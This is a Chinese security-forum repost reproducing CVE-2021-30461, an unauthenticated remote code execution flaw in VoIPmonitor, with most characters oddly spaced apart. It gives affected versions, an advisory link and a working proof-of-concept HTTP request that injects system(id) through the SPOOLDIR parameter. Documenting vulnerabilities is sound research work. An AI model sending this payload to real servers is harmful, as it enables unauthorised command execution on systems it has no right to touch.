搜索

[769] 2021-05-11_(CVE-2021-30461)VoIPmonitor远程命令执行

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-16
2021-05-11_(CVE-2021-30461)VoIPmonitor远程命令执行 ( C V E - 2 0 2 1 - 3 0 4 6 1 ) V o I P m o n i t o r   远 程 命 令 执 行 b g b i n g 安 全   2 0 2 1 - 0 5 - 1 1 以 下 文 章 来 源 于 t h e l o s t w o r l d   ， 作 者 t h e l o s t w o r l d V o I P m o n i t o r   远 程 命 令 执 行 (   C V E - 2 0 2 1 - 3 0 4 6 1 ) 一 、 漏 洞 描 述 V o I P m o n i t o r   W e b 界 面 用 ， 允 许 未 经 身 份 验 证 的 远 程 用 户 触 发 V o I P m o n i t o r 中 的 远 程 P H P 代 码 执 行 漏 洞 。 二 、 影 响 版 本 V o I P m o n i t o r   <   2 4 . 6 0 三 、 漏 洞 复 现 访 问 地 址 页 面 ： t h e l o s t w o r l d   . 开 发 、 安 全   学 习 - 工 作 记 录
P O C ： P O S T   / i n d e x . p h p   H T T P / 1 . 1 H o s t :   U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 8 6 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 8 6 . 0 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t :   * / * C o n n e c t i o n :   c l o s e A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   4 9 S P O O L D I R = t e s t % 2 2 . s y s t e m % 2 8 i d % 2 9 . % 2 2 & r e c h e c k = a n n e n
编 写 尝 试 脚 本 ： 参 考 ： h t t p s : / / s s d - d i s c l o s u r e . c o m / s s d - a d v i s o r y - v o i p m o n i t o r - u n a u t h - r c e / 免 责 声 明 ： 本 站 提 供 安 全 工 具 、 程 序 ( 方 法 ) 可 能 带 有 攻 击 性 ， 仅 供 安 全 研 究 与 教 学 之 用 ， 风 险 自 负 ! 如 果 本 文 内 容 侵 权 或 者 对 贵 公 司 业 务 或 者 其 他 有 影 响 ， 请 联 系 作 者 删 除 。
转 载 声 明 ： 著 作 权 归 作 者 所 有 。 商 业 转 载 请 联 系 作 者 获 得 授 权 ， 非 商 业 转 载 请 注 明 出 处 。 订 阅 查 看 更 多 复 现 文 章 、 学 习 笔 记 t h e l o s t w o r l d 安 全 路 上 ， 与 你 并 肩 前 行 ！ ！ ！ ！ 个 人 知 乎 ： h t t p s : / / w w w . z h i h u . c o m / p e o p l e / f u - w e i - 4 3 - 6 9 / c o l u m n s 个 人 简 书 ： h t t p s : / / w w w . j i a n s h u . c o m / u / b f 0 e 3 8 a 8 d 4 0 0 个 人 C S D N ： h t t p s : / / b l o g . c s d n . n e t / q q _ 3 7 6 0 2 7 9 7 / c a t e g o r y _ 1 0 1 6 9 0 0 6 . h t m l 个 人 博 客 园 ： h t t p s : / / w w w . c n b l o g s . c o m / t h e l o s t w o r l d / F R E E B U F 主 页 ： h t t p s : / / w w w . f r e e b u f . c o m / a u t h o r / t h e l o s t w o r l d ? t y p e = a r t i c l e 语 雀 博 客 主 页 ： h t t p s : / / w w w . y u q u e . c o m / t h e l o s t w o r l d 欢 迎 添 加 本 公 众 号 作 者 微 信 交 流 ， 添 加 时 备 注 一 下 “ 公 众 号 ”
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理